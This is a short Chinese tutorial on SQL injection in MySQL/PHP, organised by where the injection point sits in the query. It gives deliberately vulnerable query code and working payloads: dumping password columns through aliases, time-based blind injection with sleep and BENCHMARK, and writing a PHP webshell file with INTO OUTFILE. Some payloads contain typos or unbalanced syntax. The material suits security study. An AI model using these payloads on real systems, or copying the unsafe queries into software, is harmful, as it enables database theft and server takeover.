注入点
一、SELECT注入
1.注入点在select_expr
源码:$res=mysqli_query($conn,"SELECT ${_GET['id']},content ROM wp_news");
既可以采取时间盲注进行数据获取,也可以用AS别名的方法,将查询的结果直接显示到界面,访问?id=(select%20pwd%20from%20wp_user)%20as%20title
注意:若注入点有反引号包裹,应先闭合。
2.注入点在table_reference
SQL语句:$res=mysqli_query($conn,"select title from ${_GET['table']}");
直接用别名的方式取出数据,如:SELECT title FROM (SELECT pwd AS title FROM wp_user)x
在不知道表名的情况下可以先从information_schema.tables中查询表名。
注意:若注入点有反引号包裹,应先闭合。
3.注入点在WHERE和HAVING后:
SQL语句:$res=mysqli_query($conn,"SELECT title FROM wp_news where id={_GET[id]}");
4.注入点在GROUP BY和ORDER BY后
当遇到不是where后的注入点时,先在本地的MySQL中进行尝试,看语句后能加什么,从而判断当前可注入的位置,$res=mysqli_query($conn,"SELECT title FROM wp_news GROUP BY ${_GET['title']}");
经测试发现,title=id desc,(if(1,sleep(1),1))
会让页面迟1秒,就可以用时间注入获取相关数据。
5.注入点在limit之后,由于语法限制,LIMIT后只能是数字,在SQL语句中没有ORDER BY语句时 ,可以直接时间注入PROCEDURE analysis(SELECT extravalue(1,concat(0x3a,(IF(MID(VERSION(),1,1) LIKE 5,BENCHMARK(5000000,SHA1(1)),1))))),))
BENCHMARK语句处理时间大约是1秒,在有写入权限的特定情况条件下,我们也可以用into outfile语句想web目录写入webshell,在无法控制文件内容的情况下,可通过SELECT xx into outfile "/tmp/xxx.php"LINES TERMINATED BY'<?php phpinfo();?>
的方式控制部分内容。